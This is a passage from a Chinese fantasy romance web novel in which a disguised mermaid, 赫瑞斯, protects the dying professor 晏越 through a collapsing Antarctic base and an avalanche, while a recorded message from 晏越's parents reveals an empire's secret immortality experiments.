基恩和基特收拾好了东西,紧紧跟在晏越身后,并且极度警惕黑袍怪力守卫人的靠近。 黑袍人拿着那个小药瓶,看了许久。 然后,他这次并没有跟上他们,看向了一个雪堆。 他走过去,将雪堆扒开。 那下面埋着一具冰封的尸体,身上披着的外袍跟他一样,是纯黑的,只不过那个破破烂烂,他身上的还好一些。 他脱下了有些崩裂的手套,漏出了苍白的手。 那双手已经被血浸透模糊了,手指之间像是被活活劈开一样,透明的蹼被撕裂了。 但好在已经愈合了。 他拿出藏着的石头,将尖锐的指甲磨平,然后脱下尸体手上的手套,套在了自己的手上。 做完这些事,他食指点在尸体额心,低语说了一句什么东西。 暴雪很快将这具尸体重新埋起,但尸体的灵魂得到了安息。 他上前跟上了晏越他们。 70-78 第71章 第 71 章 “你认识我吗” 在离开上一个基地后, 基恩发现那个黑袍守卫人消失了一段时间后又出现了。 这次他身上覆了厚厚的一层雪。 基恩实在受不了了,趁着晏越进入研究室寻找样本的时候,连电池都不找了, 一把拽过黑袍人想把他拽出去。 但没拽动,基恩差点摔了一跤。 一身黑袍的人幽幽转过身子, 看向他。 基恩“啧”了一声, 压低声音,枪口抵着他的心窝逼问:“你到底是什么玩意,为什么会跟上我们。” 看他没说话, 基恩又说:“这已经是第十一个基地了,基地里没有任何最近的生物生存痕迹,所以你根本不可能在那些基地里活下来。” 黑色的帽檐压的很低,基恩仰头也只能看到他低垂的眸子。 那双眸子太深太沉了, 无法从里面看到任何的情绪波动和变化。 “再不说,我会在这里杀了你。” 听到基恩的威胁后, 黑袍抖了一下。 基恩以为他害怕了, 没想到他居然是笑了。 轻笑声回荡在走廊之中, 衬着黑漆漆的基地格外瘆人。 基特握紧了枪托,毕竟他凭借恐怖的握力就重启了电池的那一幕还在眼前。 “你不是第一个阻止我的, 也不会是最后一个阻止我的人。” “我现在心情还不错, 但不要挑战我的耐心。” 基恩不知道这个声音是从哪里传来的, 但他敢肯定, 绝对不是自己用耳朵听到的。 这些话像是被打字机打出来了一样, 莫名出现在了脑海里。 明明听不出来性别、年龄,但他偏偏就知道是面前这个高大的黑袍人发出的警告。 说实话,基恩都有些害怕了。 这个人就像一个谜,突然出现在这里, 行为诡异。 现在又突然能说话了。 基特显然也听到了。 他干吞了吞嗓子,不知道该怎么办。 三个人对峙许久,晏越恰巧从观察室走出来便看到这个场面,他只觉得气氛有些怪异。 “你们在做什么?” 基恩终于回过神来,冲到晏越身边,异常紧张。 “教授,不要靠近这个” 话还没说完,基恩突然跟那双极深的眸子对上了视线。 整个人都像是被扼住了咽喉,声音戛然而止。 剩下的话卡在了喉咙里,无论怎么努力都没办法继续说下去。 晏越没注意,他将那些资料放进包里,等了半天也没等基恩继续说下去。 “什么?” 晏越抬起头,发现黑袍人如鬼魅一般出现在身边。 这人走路连声音都没有,凭空出现在身侧。 晏越下意识后退一步,皱起眉。 黑袍人顿了一下,默默后退了一步拉开了距离。 倒是还有一些眼色。 晏越对此没说什么,让基特去门口做标记,率先离开了基地。 基恩缓过神来,更害怕了,连忙跟上晏越生怕出事。 基地外的暴风雪越来越大了,四个人行走在冰天雪地之中,几乎要被淹没。 晏越推了一下护目镜,雪太大了他看不清路,几番差点摔进雪里。 突然,面前的雪小了一点。 黑袍人不知什么时候从后面来到了身前,为他挡住了风雪。 他握紧右手里的冷冻箱,极寒的天气压的他喘不过气,喉咙里一直憋着一口血。 之所以只让基恩和基特二人休息,并不是因为他不累,而是他明确感觉到,只要他睡了就很难再醒过来了。 在研究室时,他在灯光的照射下清晰地看到了左小臂的肌肤已经透明了,里面的肌肉纤维更是大片的白化。 左眼的可视范围大大降低,再过一段时间恐怕就失明了。 黑袍人为他挡住了大半的风雪,他才得以喘息,走的也稳了一些。 偶尔快摔倒时,黑袍人会拉住他。 但他连谢谢两个字都没多余的力气说。 在即将进入下一个基地时,握在胳膊上的手却没松开。 晏越费劲地扭头看他,不知道他想要做什么。 只见黑袍人摇了摇头,拉着他继续前行。 胳膊上的手宽大有力,扯着他走在风雪之中,省了不少力气。 反正这里这么多基地,他们也不知道是哪一个,那去哪一个都一样。 抱着这样的心态,他索性没挣扎,任由人拉着。 风雪渐大,晏越只能听见自己的呼吸声和心跳声。 眼前的天地融为了一体,视野中唯一剩下的颜色只有那抹黑色。 可看着那个背影,却意外地让人安心。 人在自然面前是如此渺小,他们走过的路瞬间就被淹没了。 即便想回头也做不到了。 冷气吸入肺里,加重了病痛。 就这样,他短暂地放下了警惕,给自己的大脑和躯体一个休息的空间。 他实在是太累了。 不知道过了多久,他带着他穿过厚厚的积雪,推开了基地的门。 基恩和基特跟了很久才跟上来。 他们光是走到这里就花费了所有力气,进来后直接跪坐在地,小口小口的喘气调节呼吸。 但因为黑袍人拉着晏越,并为他挡住了大半的风雪。 相比基特兄弟俩,晏越倒没那么狼狈。 这座基地虽然外表上跟其他的基地并无区别,但内部设施跟以往所寻找的任何基地都不一样。 最明显的便是他们面前有两道门,能推开的只是第一道,第二道需要进行虹膜认证。 晏越摘下了护目镜,白皙的皮肤上被勒出了很明显的红痕。 他没在意,走向第二道门前。 那双黑袍下的眼睛一直黏着他,在他脸颊的红痕上停留了许久。 随着“滴”的一声验证通过,第二道门缓缓打开了。 “这” 基特抬头看到面前的景象后,震惊地喃喃。 当第二道门被彻底打开后,走廊的灯有节奏地自动开启,面前的路被一层层点亮。 这座基地的模样终于被揭开了面纱。 基恩和基特甚至都忘了累。 因为在快绝望的时候他们又看到了希望,甚至可以说还没给他们彻底绝望的机会。 这里面最淡定的还是晏越,他只是喘了一口气,说:“基恩基特,你们去寻找基地里能用的资源,全部带走,另外想办法跟莫里获得联络,告诉他我们找到基地了。” 基特都快哭出来了,这要是回去,他能吹一辈子。 他大喊,“是。” 基特太激动了,所以没听到晏越说到最后,声音有些哑,像是含着什么。 晏越提着冷冻箱,随着走廊的指示走向观察室。 这里的温度显示在零下三度,已经比外面暖和太多。 但冰冷的身子一旦习惯了外面的低温,骤然进入温暖的地方便很难缓和过来。 他刚走出一步就因为不稳晃了一下,身后一只手稳稳拉住了他。 回头看到,那人看过来的瞳仁一片漆黑。 之前在探照灯下只能看个大概轮廓,现在到了基地看清了这人的模样。 这人比晏越想的还要高,光是站在身边就已经高了一个头。 头顶的灯光打在垒着厚厚积雪的外袍上。 晏越吞下喉咙的血对他道谢“谢谢”,然后挣脱开那只有力的手,缓慢转身。 在黑暗中呆久了,头顶明亮的灯让他突然生出来一股强烈的眩晕感,无法再继续前进一步。 晏越闭上眼睛缓了缓,直到确定自己站稳了后才继续走。 鬼使神差,他回头发现那人仍立在原地没动。 他意识到自己刚才的模样被这人全部看到了。 很奇怪,他却没什么感觉。 可能生命走到最后,这些反而不太重要了,人都变得平和了。 晏越不知道他为什么一直站在那里,总不能是因为之前自己说了一句在门口呆着不要进去的原因吧。 那也太听话了。 但好像除了这个也没有别的由了。 于是他尝试说了一句:“你可以去休息。” 只见黑袍人缓缓地转动视角,但只在一个很小的区域内走动。 晏越叹了口气,这么个人守在门口也不是个事,更何况这个人帮他找到了这里。 于是他说:“你可以跟着我,我给你找一处休息的地方。” 得到允许的黑袍人紧紧跟在他身后。 这种被跟随的感觉实在久违。 晏越突然觉得自己变了很多。 如果放在从前,如果不是因为黑袍人帮他找到了正确的地方,即便冻死在门口,他也不会为此驻足停留。 他突然想到起来手札写守卫人会对来的人进行筛选,只有他们认为正确的人才有资格进入基地。 但这个所谓“正确”的标准实在幼稚的可笑。 难道给了一些食物并示好,就算正确了吗? 他突然驻足,身后的人也跟着停顿。 巨大的影子笼罩在身前。 晏越毫无预料下回过头,跟他对视,平静地问:“你认识我吗?” 黑袍人没说话,像个巨大的雕塑。 晏越敛眸,扫过他宽大衣袍下漏出的鞋尖,带着他去了一个房间。 “你就呆在这里。” 晏越说话时,恢复了之前冷淡的语气,并且说完就把门关上了,留下屋里的人跟门对视。 戴着皮质手套的手从衣袍下伸出,将宽大的帽子摘下。 在帽子摘下的瞬间,金色长发如瀑般洒落下来,成了这件灰扑扑不起眼的屋子中,最明亮的一抹颜色。 赫瑞斯仰起头,看向洁白的天花板。 原本挂在耳鳍上的发丝垂下来,漏出光洁宽大的人鱼耳鳍,那是跟人类耳朵完全不一样的器官。 他长长的呼出一口气,闭上了眼睛。 他太想念晏越了,只要一闭上眼睛,脑袋里便是晏越的模样。 白皙的脖颈,被压出红痕的肌肤,散落在眼前的额发,还有空气中那股冷冽好闻的,独属于晏越的味道。 最重要的是,那个没有任何负面感情的视线。 它们像是毒一样,打着思念的旗号,轻易地腐蚀到了心底。 他恨不得立刻扭开这扇门跟上晏越。 但不行。 贝芙丽说的对,他要学会忍耐。 这是成为人类的第一课。 明明一分钟都等不下去,但还是要按捺住内心呼啸的风浪,把浓重的感情全部锁在这个狭小的房间里。 第72章 第 72 章 玩够了(二更合一)…… 晏越进入观察室后, 很轻易地找到了留存在这里的母本。 他将冷冻箱里的标本拿出来,跟基地仅存的母本进行融合。 就在两个标本在融合时,观察室角落的保险箱突然发出“滴”的一声, 自己打开了。 一个黑色的匣子缓缓出现。 晏越拿起时突然感觉手指刺痛一下,血珠瞬间跟融入匣子中。 一个冰冷的机器女声播报着:“信息匹配成功。” 然后黑匣子开始播放出其他声音。 “喀拉喀拉” 先是嘶啦嘶啦的电流声, 像是好久没使用过所以在进行调试, 直到最后才有短暂的人声。 晏越听到那个人声后,心脏狂跳。 咚。咚。咚。 他把匣子上的指示针播到初始状态,人声逐渐清晰了。 “你还是走到这里了, 我的宝贝。” 遥远的声音从匣子里传出来的瞬间,晏越便禁不住笑了起来。 那是一种本能的反应。 因为世界上只有两个人会这么叫他。 可他已经太久没听到他们的声音了。 本以为过了这么多年自己会忘记,但只要这个声音出现的瞬间,过往的记忆便崭新了起来。 “宝贝, 你能听到这段声音,想必奥凯西已经告诉了你一些事情, 但请原谅我们此时不在你的身边。” “长话短说, 我们发现了那个病变样本来自于帝国国王, 所谓的‘复生’计划只是一个幌子,他们以‘复生’为由, 进化人类基因融合污染, 想要实现永生。” “后面, 我们被要求使用的病变样本, 全部来自于我们自己的同类, 并不是任何海洋或陆地生物。” “那些人类被迫进行感染病变,又有不得不活下去的由,于是留存着强力的生存意志反复进行实验测试。” 说到这里,他母亲的声音小下去了, 似乎是说不下去了。 他的父亲接替母亲继续说: “时间长了,你的母亲接受不了这种痛苦,我也一样。” “我们认为人类应当接受自然的守则,体面地老去死亡,而不是永远存活。” “‘复生’计划应当是让人类和污染和解,让人类能够活下去。” 他父亲又说:“但陛下已经被感染了,他无法接受自己即将死亡的现实,所以他不仅奢求于活,还要一直活下去。” “我们知道,完成试验后,我们即便不是死在污染下,也会死在帝国的密室里,所以我跟你母亲一直在偷偷研发另一种跟‘复生’截然不同的药剂,并且将药剂留在了这里。” “这个药剂,不会让人类获得污染的力量,相反,它会让被感染的人类变回真正的人类。” “我们不知道陛下已经进化到了哪种地步,但这个药剂是唯一可以让他回头的东西。” 晏越猛地看向那个正在融合的药剂。 淡蓝色的药剂和透明的药剂缓慢融合,居然变成了一种纯白的颜色。 他母亲的声音有些抖,应当是从那种悲伤的状态缓和出来了。 “人类的私欲,已经让人鱼一族遭受了灭顶之灾。” “宝贝,我们不能一错再错。” “我们没办法陪你走到最后,但别担心,会有一只人鱼陪伴你。” “因为你的生命起源于它,它赋予了你另一半的灵魂。” 母亲的声音还是跟记忆深处一样温柔,但这些轻飘飘的话落到晏越耳朵里,却如雷声一般震响。 他不敢置信地看向那个黑匣子,内心五味杂陈。 什么意思,那只人鱼是赫瑞斯吗? “我们发现了帝国的秘密时,我正处于怀孕状态,他们把污染元素注射进了我的体内,想要让你在母体时就跟污染融合,成为最完美的容器,甚至想要这样拿捏我们。” “我们逃了出来,但遭遇了海难,我能感觉到你在离我而去,我们都没办法,只能跟你告别。” “然后一只人鱼出现后,我便又感觉到了你的存在。” 母亲的话勾起了晏越的回忆。 赫瑞斯曾给他看到了一个画面就是这样的。 父亲抱着母亲,不断的祈祷。 赫瑞斯在船边,蹼爪贴在母亲的肚子上。 大出血的母亲奇异的止住了血。 她看向那只金尾人鱼,一时忘了说话。 金尾人鱼低语了一句,深深看了一眼她的肚子,回到了海洋。 彼时晏越并不懂赫瑞斯在说什么,但现在他突然能听懂了。 赫瑞斯在说:[我会等待他的降临。] 她说:“宝贝,你是带着三份爱降临到这个世间来的。” 到这里,黑匣子的声音戛然而止。 他们的时间停止了,却把晏越留在了时间里。 世界陡然安静到连尘埃落地声都消失了。 然后,风声、海声、雷鸣声、雪落声逐渐清晰了。 他用了很长时间才找回了自己的心跳,但仍然无法接受这个现实。 赫瑞斯没有骗他。 赫瑞斯给他看的一切都不是为了哄骗他。 相反,赫瑞斯只是在证明一个事实。 他自以为是猎手,捕获了一只人鱼,并为此沾沾自喜。 殊不知命运早就跟他开了个巨大的玩笑。 他才是猎物。 那只蔚蓝色的竖瞳下藏着的不仅仅只是表面的风浪,还有更深层的暗流。 赫瑞斯等了太久了。 晏越的手逐渐冷了下来。 他意识到,原来赫瑞斯早就织了一张密不透风的网,将他牢牢网在了中央。 没有初遇,有的只是久别重逢和谋划许久。 操作台上的两种药剂在不断融合。 两种颜色的液体碰撞到一起,却产生了奇特的化学反应,最终成为了一种包罗万象的颜色。 就像两个灵魂碰撞在一起,看似截然不同,但每一个碎片都可以折射出相同的颜色。 “轰——” 随着黑匣子的关闭,基地开始震动坍塌。 基特的声音从联络器中传出来,“教授!这里不能呆!基地开始坍塌了!” 晏越终于找回了属于自己的温度,他一把拿下操作台上的药剂塞进冷冻箱里。 就在即将离开时,他突然想起地上的黑匣子,迅速走过去将黑匣子一块带走了。 他急忙走出研究室,视野里只能看到明明灭灭的走廊。 突然,头顶的灯泡发出“滋啦”的声音,没有任何征兆的开始往下坠落。 晏越下意识举起手臂去挡,但预想的疼痛并没到来。 黑色宽大的外袍将他笼的严严实实,那些冒着火星的碎片全部砸落在了另一个人的身上。 晏越没想到这人会突然出现在这里,一时间愣住了。 那双漆黑的瞳仁在火光的照耀下,冒出了一些耀眼的光芒。 他好像看到了另一个影子,但不等他反应过来说什么,下一秒他看到了男人头顶摇摇欲坠的横梁。 “小心!” 晏越高呼。 男人突然爆发出巨大的力量,瞬间将砸下来的横梁掀翻了。 坚硬的横梁被砸在墙壁里,灰尘铺满整个空间,而男人毫发无伤。 晏越惊呆了,他神色复杂看过去。 “你究竟是谁?” “滴滴滴!” 基地警报中途打断了晏越的话,男人没回答他,一把揽住他向基地外奔跑。 联络器中基特的声音断断续续的,“教授,你在哪里,我去找你!” 晏越盯着男人黑色的帽檐,越发觉得不对劲。 他一边观察着男人,一边用联络器告诉基特:“不要管我,我已经在离开了,你们注意安全,我们基地外见。” 利落地挂断联络器后,晏越感觉自己被揽着,在基地中高速飞奔。 这个速度简直快要飞起来。 没有人类能达到这个速度,在他印象里能达到这个地步的只有赫瑞斯。 他又低头看了一眼男人的长腿,然后抬头看到了那双深色的瞳孔。 赫瑞斯带着晏越,穿梭在不断坠落横梁和天花板的基地中。 突然,他感觉有一只手捏在了他的帽檐边。 他下意识握住这只手,却恰好跟晏越对视。 看到晏越的眼睛,赫瑞斯突然一怔,然后眼尾弯下来,隔着手套牢牢握住他白皙的手,指腹不断摩挲着他的骨节,反复揉蹭。 赫瑞斯的手宽大,能将晏越的手牢牢握在掌心中。 赫瑞斯只一眼就能看出来晏越有哪里不对劲,毕竟此时此刻他们的灵魂贴在心尖尖上。 晏越感觉出来他的小动作,想要抽开,但他眼底的笑意更深了。 在这危险时刻还有心情调情,似乎也只有那个恶劣的人鱼能做到了。 基地检测到重要机密被取走后,开启了自动毁灭系统,走廊的机械壁在不断下落阻挡他们离去。 晏越又一次抽出手没成功。 他们的速度太快了,眼见就要撞到面前的机械壁上了,但那双眼睛还黏在自己身上。 晏越头皮发麻,“看路!前面不能走!” 握在手背上的手紧了紧,然后在晏越意想不到的时候,他长腿一扫,愣是将机械壁踹烂了一个洞。 晏越无比震惊,连抽走手的动作都忘了,回头看到那个洞离他们越来越远。 基恩和基特抵着大门,就等他们出来了。 基特看到走廊尽头的黑色身影,大喊:“他们来了!” 基恩死咬着牙抵着不断合拢的门,手里的铁棍都变形了。 “快点!” 近百斤的重量大半都被基恩揽下,此时他脖子上的青筋都爆出来了。 在这个时候,赫瑞斯甚至可以抽出一只手接住掉落的铁片,像逛街一样轻松。 基特瞠目结舌,“这是什么怪物” 基恩没时间说话,他看着两个人从门后出来,手里泄了劲,但因为惯性向外弹出去。 赫瑞斯稳稳接住他,手掌抵在基恩后背上。 基恩后知后觉,不由自主说了一句:“谢谢谢” 面前的基地迅速坍塌,大半部分已经掉进巨大的坑洞里,以肉眼可见的速度下沉、消失。 最后他们的面前只剩一个黑漆漆的坑洞。 暴雪下到坑洞里,也没见到低。 跌坐在地上的基特说:“上帝,我发誓这几天,是我这辈子过的最刺激的日子了。” 晏越缓了缓,问基恩:“联系到莫里了吗?” 他得想办法拿着手里的成品药剂回到帝国,还不能中途让人劫持下来。 基恩点头,快速说:“联系到上校了,他说没办法派人接咱们,但可以保证咱们进帝国的时候不被阻拦。” 看来他来南极基地的事没瞒住,还是让那些人知道了。 他们牵绊住了莫里的脚步,想要把他拖死在南极这里。 晏越的眼神冷下来。 绝不可能这么简单就让他们得逞。 他说:“我们回帝国。” 但来时的路都被风雪掩盖了,就连基特做的标记大半都被埋在雪里。 此时基特和基恩兄弟两人在费劲的扒拉雪堆寻找标记。 晏越提着手里的箱子,余光中看到有一个东西掉了下来。 他抬起了头。 暴风雪迷了眼睛,若不仔细看会以为是看错了,但晏越耐心地等待。 一块白色的雪堆再次坠落下来。 扑簌簌的,很快跟暴风雪融为了一体。 晏越眼神一凌,快步加入基恩和基特二人,在雪中翻找标记。 基恩看到晏越过来,要他保存体力:“教授,你不必跟我们一起,在那边等着就好。” 晏越告诉基特:“要雪崩了,三个人找更快。” 基恩差点以为自己听错了,他惊恐地抬头看向头顶的雪壁。 这要是雪崩,他们绝对没得跑。 基恩干吞了吞嗓子,加快了速度。 有了晏越的加入,几个人快速寻找到了大体走出峡谷的方向。 “教授!这里有个东西!” 基特突然直起身子大叫。 基恩第一时间看的是峡谷的墙壁,果然,落雪加快了。 他恨铁不成钢,恨不得焊上弟弟的嘴巴,压低声音说:“闭嘴。” 基特顿时意识到自己闯祸了,手里举了一半的东西也不敢动。 晏越推了一下护目镜,看到基特手里一个铁盒,想要过去拿。 积雪太厚,他又劳累过度,腿一软就直接往下跪。 赫瑞斯一把捞住他,将他带到基特面前。 晏越接过铁盒,认出这个东西不属于基地。 他说:“有人来过这里。” 基特警铃大作,“什么,是故意想要埋伏我们吗?!” 晏越摇头,“时间不对,应该在我们之前,可能是有人抵达了这里但没有找到基地的位置,最后迷失在峡谷里。” 基特听后松了口气。 晏越丢下手里的东西说:“快走吧,雪大了。” 为了防止走丢,他们三个人带着一个绳索,将自己绑在上面。 就在几个人即将走出峡谷的时候,岌岌可危的悬崖壁终于支撑不住,开始大片大片掉落。 雪浪逐渐变高,轻易吞没了他们走过的路。 晏越大声说:“快走!” 但即便他们加快速度,也无法快过扑来的雪浪。 晏越能听到轰鸣声逐渐逼近,在即将追上他时,一只有力的手在他背后用力推了一把。 他瞬间像是轻盈的雪花,被这股蛮力推出了很远,乘风而起。 雪最后停在了他们的脚下。 晏越猛地回头,可身后只有一种颜色,那里还有那人的踪影。 基特劫后余生,不断拍打着胸脯时,突然感觉绳子一松,回头就看到晏越解开了自己身上的绳子,竟在回头挖雪。 基特以为晏越丢了从基地带出来的东西,可回头一看,那箱子还安安稳稳的在晏越身边呢,只不过是被丢在一边的。 “教授!丢了什么东西吗?” 基特扑上去帮晏越一起挖雪,问。 可无论基特怎么问,晏越都没回应,他只是机械地挖着雪。 不知道挖了多久,基特累的倒在一边也没在雪堆里挖出来晏越要找的东西。 他累的躺在雪上喘气,基恩也累的够呛,在一旁休息,唯独晏越没停下。 “教授,到底是什么东西啊?” 基特弱弱地问。 晏越自己都无法回答这个问题,到底是什么值得他这么卖力。 但本能告诉他,如果他就这么走了,未来一定会后悔。 基特看问不出来,突然想到了那个一直跟在身后的黑袍人。 他还没出来。 于是基特和基恩对视一眼,不再休息,跟晏越一起卖力地挖。 晏越挖到感受不到手指的存在,浑身上下的血都在倒流,终于挖出来一个黑色的衣角。 在那一刻,他的确无法作假隐瞒自己的内心。 挖到那个衣角时,他又听到了自己的心跳声。 基特看到晏越突然像发疯一样猛挖,连忙跟哥哥一起帮忙,挖出来一只苍白的手。 在看到那只手的模样后,基特二人停住了手里的动作,只剩晏越还在继续。 皮质手套早就不翼而飞,那只苍白的手的骨节很长,手指之间黏连着一些透明的东西,上面沾染着蓝色的液体。 基特用脚想都能知道这不是人类的手。 基特缓慢地看向晏越。 晏越是第一个看到的,但他一点惧怕的模样都没有,反而像是早就知道了。 随着晏越的努力,一只手臂被挖出来了,然后是半个身躯,最后是脑袋。 晏越抱起埋进雪里的半个身躯,拼命地向后拽。 两人也赶忙帮忙。 在努力使劲时,基特看到了一丝金色的长发从兜帽下滑落出来。 兜帽在他们费劲努力把人拖出来的时候掉下,如瀑的金发倾泻而下。 基特终于看到了这黑袍人的样貌。 他不由得看呆了。 谁能想到,这守卫黑袍下竟是这样一张反差的脸呢? 三个人费了好大一番劲才将人从雪堆里挖出来。 此时他不知生死,趴在晏越的身上。 晏越仰面对着不断落雪的天空。 雪不知道什么时候快停了。 喉咙中全是血的味道。 他干脆将护目镜拿下来,大口大口喘气。 视野中一片灰白色,他也说不清自己究竟意识快模糊了还是仍清醒着。 基恩坐在那里还没缓过来,“教授,这究竟教授!”,基恩话说到一半突然大喊。 随着晏越的剧烈咳嗽,艳红的血不断从他的嘴角滑落,滴在洁白的雪地上,晃眼得很。 他不断呕着血,连将血抹去的力气都没有。 一直趴在他身上的人缓缓醒过来后第一眼便看到爱人的血铺满雪地。 赫瑞斯俯跪在他身前,摸着他的脸颊,眼神中有一丝慌乱。 “晏越,晏越,看看我。” 可晏越一直望着灰蒙蒙的天空,似乎听不到他的呼唤。 基特想要把赫瑞斯扒拉开,可人走到一半就定在原地。 视野中高大的男人俯身在青年身前,吻上了他嫣红的嘴唇。 金色的长发洒下笼在身侧,让基特兄弟二人看不真切。 男人珍而重之,落在他唇上深深一吻。 像是世界只剩他们二人。 一阵风吹过,将积雪吹散,细细碎碎撒在他们的发上。 基特看呆了。 不知道为什么,基特突然觉得这一幕格外震撼。 晏越垂在一边的手动了一下,视线缓缓聚焦,最后落在了那张近在咫尺的脸庞上。 他猛地推开了赫瑞斯,恢复了呼吸。 就在基特以为晏越要说什么的时候,出乎在场所有人的预料,晏越勉强地站起来拿着东西就走。 连赫瑞斯想要去扶他,都被他狠狠打开了手。 赫瑞斯叫他,他也不搭。 最后赫瑞斯追上去一把抓住他的手,晏越用力甩开,冷笑一声:“你倒是厉害,骗我离开结果在我身边,现在又骗我让我以为你死在雪崩里,你到底还要骗我多少次?” “我跟你玩够了。” 他瓷白的肌肤因为失血更没血色,眼尾有些红,看着赫瑞斯的眼神比雪下的极冰还要冷。 赫瑞斯一时怔在原地。 晏越生气了。 第73章 第 73 章 执念和爱意本身就是相生…… 赫瑞斯其实没什么大事, 本来想自己出来的,谁承想听到了晏越居然回头在挖雪找他,顿时起了别的心思。 毕竟垒在身上厚厚的雪确实还是挺沉的。 最重要的是, 晏越久违的关心对他的诱惑实在是太大了。 只可惜一时得意忘形竟忘记了晏越身体不好,好在人鱼血对晏越来说还有些作用。 但这也惹恼了晏越, 无论赫瑞斯在后面怎么叫晏越的名字, 青年的头都没回一下。 赫瑞斯没办法,只能紧紧跟在晏越身后。 基特兄弟二人不知道发生了什么。 虽然他们发誓为亚当斯家族效忠,永远会保守秘密, 但八卦是人类的天性。 基特看到晏越反复打开赫瑞斯的手,小声问哥哥:“要不要去帮帮教授?” 基恩发现晏越即便是不搭赫瑞斯,可走路的速度还是放缓了,这是有意在等呢。 他说:“算了吧, 我感觉他们应该不需要我们插手,慢点走。” 赫瑞斯黏在晏越身后, 想要为他挡住风雪, 但发现这点雪根本没有挡的必要, 于是只能开始耍赖,开始挡晏越的路。 晏越被他挡的走起来一顿一顿, 最后不由得皱起眉立在原地抬眼觑他。 赫瑞斯好歹是得逞了, 拉住他的胳膊说什么都不让继续走, 放低声音在他耳根旁说:“我不是故意的。” 晏越冷笑一声, 懒得跟他继续鬼扯。 “松手。” 晏越虽是这么说的, 但就没抱着赫瑞斯能听话的想法。 挡在他面前的高大男人敛眸想了想,竟出乎他意的料,挪开了脚把路让出来了。 晏越眼底不由得闪过一丝讶异,可表面还是不动声色的模样, 径直离开。 赫瑞斯紧追过去。 这次不能再挡着晏越的路,他只能围着晏越身旁打转。 他其实还是不习惯用腿走路,没走一步腿都承受着巨大的疼痛,所以只能走得很慢。 不过虽然他走得慢,好在个子高,长腿一迈就能追上。 一拐弯,眼见着港口的船就在眼前了,赫瑞斯怕再不说就没机会了,犹豫了一下还是决定拉住晏越。 “我不能离你太远,不然你会觉得不舒服。” 青年脚步一顿,赫瑞斯趁着这个机会继续说:“那个铭刻,可以减轻你的病痛,但前提是我必须要在你身边,否则会起到反作用,甚至可能加重你的病。” 经由赫瑞斯一说,晏越确实想起来了。 之前他逃出那个岛屿后上了船,离赫瑞斯这么近的距离,就有强烈的不适感了。 所以后来他把赫瑞斯关在船舱下面,算是吊着命别耽误事。 不过最后让赫瑞斯逃出来倒是另说。 他偏过头看赫瑞斯不像是在说假话。 他联想到了这么长时间里,无论赫瑞斯把他带到哪里,每天都必定会来一次应当也是这个原因。 赫瑞斯看他没什么表情,好在起码不是抵触和厌恶,略略松了口气。 他很怕晏越因此讨厌自己。 好不容易来到晏越身边,抓到了青年心软的痕迹,怎么说都不能功亏一篑。 原来感情竟是这种小心翼翼走钢丝的感觉。 分明让人变得胆小、警惕,却又如此令人着迷。 因为这种珍而重之的感觉会让他意识到,得到青年的垂怜是如此不易。 青年突然抿起嘴角,可声音却是冷的。 “所以你告诉我,给我一个月的时间是骗我的,你一直跟在我身边。” 赫瑞斯哑口无言。 晏越知道自己猜对了,二话不说抬脚就上船。 迷迷瞪瞪的烟灰蛸还扒拉着船,醒过来发现晏越回来了,正准备开开心心地挪过去就发现这个不速之客。 它大叫一声问赫瑞斯怎么在这里,赫瑞斯眼神示意让烟灰蛸闭嘴,然后像个橡皮糖一样跟着晏越上船。 “下去。” 清冷的声音从赫瑞斯的头顶传来,晏越毫不留情地说。 这只阴险狡诈的人鱼,三番五次欺骗他的感情,现在说什么都不会被骗到了。 赫瑞斯紧紧握着楼梯边,蓝色的血液沾在扶手上,有些惨不忍睹。 他说:“我想在你身边。” 晏越皱起好看的眉,不想再跟他磨蹭。 “你不是会游?上船干什么,平常里没少在船旁边游吧,那就继续游。” 赫瑞斯顿时以为是烟灰蛸告的状,阴冷地飞快扫了一眼扒拉着船边的烟灰蛸,然后转过头对晏越说:“但我痛。” 晏越看到他刚刚还对烟灰蛸冷眼相向,下一秒就跟变脸似得跟自己装可怜。 青年冷着脸,拆穿他。 “你不是可以恢复的很快吗。” 赫瑞斯掀开宽大的袍子,袍子下面的腿不知道什么时候变成了鱼尾。 鱼尾上满是伤疤,不断冒着血,并没有愈合。 那上面有深深浅浅的、各种各样的伤。 一看就不是一次受的伤,而是经年累月积攒而成的。 他轻易地将伤疤全部展现给晏越看,声音散在冷风中。 “因为镌刻,我已经失去了原本一半的力量,我也会痛的。” 赫瑞斯漆黑的瞳仁直视着他。 晏越的视线从满是伤疤的鱼尾上逐渐上移,落在被衣服遮的严严实实的心口下。 那里应该也有很多伤,绝不比鱼尾上少。 他有一瞬的不解,为什么赫瑞斯可以做到这个地步。 仅仅只是一个诺言,或是一个放不下的执念? 又或者是另一个答案。 只是他本能地觉得不可能,所以一直都没往这边想。 可兜兜转转,除了这个答案,别的都解释不通了。 飞雪乘风起,打着卷从四面八方扑来。 呼啸的冷风吹起赫瑞斯宽大的纯黑衣袍。 最后,晏越的余光看到故意放慢脚步的基恩和基特兄弟二人逐渐靠近了,才开口让赫瑞斯上来:“跟上来。” 说完他就扭头了,不再看赫瑞斯。 赫瑞斯眼底闪过一丝惊喜,生怕晏越反悔似得赶紧上了船。 上了船后,他一直紧紧在晏越身后,比以往更甚,甚至不能接受晏越离开视线半分。 晏越忍无可忍,摁住门框下了逐客令。 “我要换衣服。” 赫瑞斯无辜地眨眼。 晏越看他又要装当初那个不懂人类道德廉耻的样子就来气,一把将门关上。 现在连衣服都知道穿,怎么可能什么都不懂。 赫瑞斯看着木门在自己面前被无情关上,嘴角却忍不住勾了起来。 只是这个笑只是短暂的出现了片刻。 他并没有留在这里,而是扭头去找了一个空房间。 进了房间后,他本来想用指甲直接划开衣服,但划了一下没划开才想起来,为了伪装,他已经将指甲全部生生磨平了。 好在屋里有一把刀,他干脆用刀将胸前的衣服划开。 衣服没有直接被刀划开,而是早就跟血肉黏合在了一起。 赫瑞斯面无表情,捏着一角干脆利落地将布料撕开。 当他脱下这身衣服的时候,苍白的躯体已经鲜血淋漓,甚至可以看到他胸口跳动的心跳起伏。 心脏尖端的伤疤不断在溢血,放在从前,这是绝不可能的事。 他镌刻了晏越的灵魂,为晏越承受了疼痛,但他知道这依然无法拯救这个濒死的人类。 只有真正变成人鱼,晏越才有一线生机。 赫瑞斯把衣服团成一个球草草擦了一下身子,突然听到了敲门声,下意识就用黑色的外袍包住了身子,然后才打开门。 看到晏越站在门后,赫瑞斯有些意外,“怎么了?” 谁知晏越没回答他,一把拉开他握着的外袍。 赫瑞斯没有丝毫防备,外袍被扯落在地,布满伤疤的身躯就这么暴露了。 晏越脸色本就不太好,看到赫瑞斯血肉模糊的上半身后,脸色更是达到了一种难看的地步。 赫瑞斯刚一开口说了个“这是”就被晏越打断。 